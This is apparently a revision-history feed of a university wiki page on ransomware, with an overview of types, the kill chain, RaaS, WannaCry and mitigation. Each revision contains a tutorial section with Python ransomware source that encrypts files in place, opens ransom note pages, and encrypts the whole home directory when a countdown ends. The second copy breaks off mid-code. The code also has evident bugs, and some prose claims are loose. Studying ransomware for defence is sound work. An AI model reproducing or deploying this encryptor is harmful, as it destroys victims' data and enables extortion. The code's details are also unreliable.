* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Ransomware as a Service (RaaS) ==&lt;br /&gt;
&lt;br /&gt;
Ransomware as a Service is a growing business model on the dark web used by ransomware developers to distribute and sell their malware as service. Anybody, even without much technical knowledge, can execute ransomware attacks by just subscribing to this service. RaaS kits are rather easy to find on the dark web, where they are advertised like a normal product. These services may also offer a dashboard where the attacker has an overview of the progress, or even documentation with a step-by-step guide on how to use the ransomware. There are different types of RaaS revenue models, like a monthly subscription for a flat fee, a one-time license fee or a monthly fee but where a specific percentage of the ransomware profits is going to the RaaS-provider.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
* Malwarebytes.com. 2021. [https://www.malwarebytes.com/ransomware What is Ransomware?]&lt;br /&gt;
&lt;br /&gt;
* usa.kaspersky.com. 2021. [https://usa.kaspersky.com/resource-center/definitions/scareware What is Scareware?]&lt;br /&gt;
&lt;br /&gt;
* crowdstrike.com. 2021. [https://www.crowdstrike.com/cybersecurity-101/ransomware/ransomware-as-a-service-raas/ Ransomware as a Service (RaaS) Explained]&lt;br /&gt;
&lt;br /&gt;
* Kost, E., 2021. [https://www.upguard.com/blog/what-is-ransomware-as-a-service What is Ransomware as a Service (RaaS)?]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8721</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8721"/>
		<updated>2021-12-21T10:51:07Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: Expanded Introduction/Definiton; Added Attack Vectors to Kill-Chain; Minor edits.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.&lt;br /&gt;
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
* Symmetric&lt;br /&gt;
* Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency&lt;br /&gt;
Main currency used for paying the ransom is Bitcoin because it is:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Distribution Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Spam Emails ====&lt;br /&gt;
&lt;br /&gt;
In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phising emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim&#039;s computer.&lt;br /&gt;
&lt;br /&gt;
==== Malicious Advertising ====&lt;br /&gt;
&lt;br /&gt;
Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim&#039;s computer. This happens while the victim does not notice any of it.&lt;br /&gt;
&lt;br /&gt;
==== Scareware ==== &lt;br /&gt;
&lt;br /&gt;
Scareware is used to scare victim&#039;s into downloading malicious software. Example would be a pop-up in the victim&#039;s browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
